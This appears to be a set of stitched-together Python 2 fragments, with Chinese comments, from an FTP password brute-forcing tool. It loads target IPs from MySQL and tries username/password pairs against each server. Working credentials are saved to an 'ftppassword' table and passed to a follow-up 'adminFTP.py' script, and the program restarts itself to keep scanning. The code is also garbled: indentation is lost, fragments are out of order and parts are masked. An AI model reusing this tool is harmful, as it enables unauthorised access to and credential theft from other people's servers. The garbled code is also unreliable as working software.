def sql_sel(): #SQL查询 try: try: #检测网络连接状态 urllib2.urlopen(r"http://www.163.com", timeout=10) #print u"网络连接成功" #return 1 except: print u"网络无连接 重启程序自身" atexit.register(close) #自动重启本程序 mysql.mysql_open() #连接数据库 #mysql.mysql_S() #保存数据 sql = "select * from ftp where ftpsend is NULL limit 1" mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): cond = threading.Event() hider1 = CLINKFTP.PythonFtpScanner(cond, row[0]) hider1.start() #print row[0] #time.sleep(3) #延时 except: print u"读取URL异常!!!!!" print u"3秒后,程序将结束重启..." #mysql.mysql_S() #保存数据 #mysql.mysql_close() #关闭数据库 atexit.register(close) #自动重启本程序
def run(self): MAX_RETRIES = 10 retry = 0 account = None #None=NULL 数组 while self.running and accounts: #list数组 try: self.ftp.connect(domain, port) #连接 服务器名 端口号 except Exception, e: if retry <= MAX_RETRIES: #这是为了控制线程吗 retry = retry + 1 #没必要使用这个变量啊 continue #跳过 else: self.running = False #这是 控制线程 break #跳出 print ".", #重新每三次 为什么一个账户要连接3次 呢 loop_num = 0 while loop_num < 3: loop_num = loop_num + 1 if not account and accounts: #list数组 account = accounts.pop() #list数组 输出 #绝对不要尝试 if not account: #数组无数据了就跳出 break #跳出 #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1] #print ".", print "&\r", try: self.ftp.login(account[0], account[1]) #连接FTP #没有异常发生,这是一个正确的帐号 print u'\nFTP连接成功IP:', host, u"用户名:", account[ 0], u"密码:", account[1] mysql.mysql_open() #连接数据库 sql = "insert into ftppassword(IP,user,password,time) values('%s','%s','%s','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) mysql.mysql_insert(sql) #添加到数据库 mysql.mysql_S() #保存数据 os.system('python adminFTP.py %s %s %s' % (host, account[0], account[1])) account = None #None=NULL except Exception, e: emsg = str(e) #调试信息 print "/\r", if 'connection' in emsg.lower( ) or 'tries' in emsg.lower( ): #判断 连接 失败错误信息 不明白何意 retry = retry + 1 break #跳出 else: #reset retry account = None #None=NULL retry = 0
#time.sleep(1) #确保先运行Seeker中的方法 a = random.randrange(1, 4) #产生一个随机数8以内的 time.sleep(a) #确保先运行Seeker中的方法 print u"连接测试URLFTP开始:", row[0] if ftpconnect(row[0], row[1], row[2]): #连接FTP #print "连接成功" print row[0], u"扫描完成===FTP状态:", ftpID print u"IP:", row[0], u"用户名:", row[1], u"密码:", row[2], u"连接成功" else: #print "连接失败" print row[0], u"扫描完成===FTP状态:", ftpID print u"IP:", row[0], u"用户名:", row[1], u"密码:", row[2], u"连接失败" up = "update ftppassword set data='%d',time='%s' where IP='%s' and user='******' and password='******'" % ( ftpID, time.strftime('%Y.%m.%d-%H.%M.%S'), row[0], row[1], row[2]) if mysql.mysql_update(up): #修改数据 print row[0], u"修改数据库成功\n" else: print row[0], u"修改数据库失败\n" mysql.mysql_S() #保存数据 print u"遍历数据库完成" except: print u"SQL读取URL异常!!!!!" return 0 import mysql #数据库操作文件 if __name__ == '__main__': mysql.mysql_open() #连接数据库 sql_sel() #SQL查询
mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 #close() #自动重启本程序 atexit.register(close)#自动重启本程序 #################################################################### import sys import os import atexit def close(): #自动重启本程序 try: print u"3秒后,程序将结束重启..." print u"自动重启本程序" time.sleep(3) python = sys.executable os.execl(python, python, * sys.argv) ######### except: sys.exit(0) #结束进程 if __name__=='__main__': # host= "127.0.0.1" # FTP_username(host) #导入密码组合方式 # mysql.mysql_open() #连接数据库 # sql_sel() #SQL查询 #FTP_username("127.0.0.1") #导入密码组合方式 try: #print __doc__ mysql.mysql_open() #连接数据库 sql_sel() #SQL查询 except: atexit.register(close)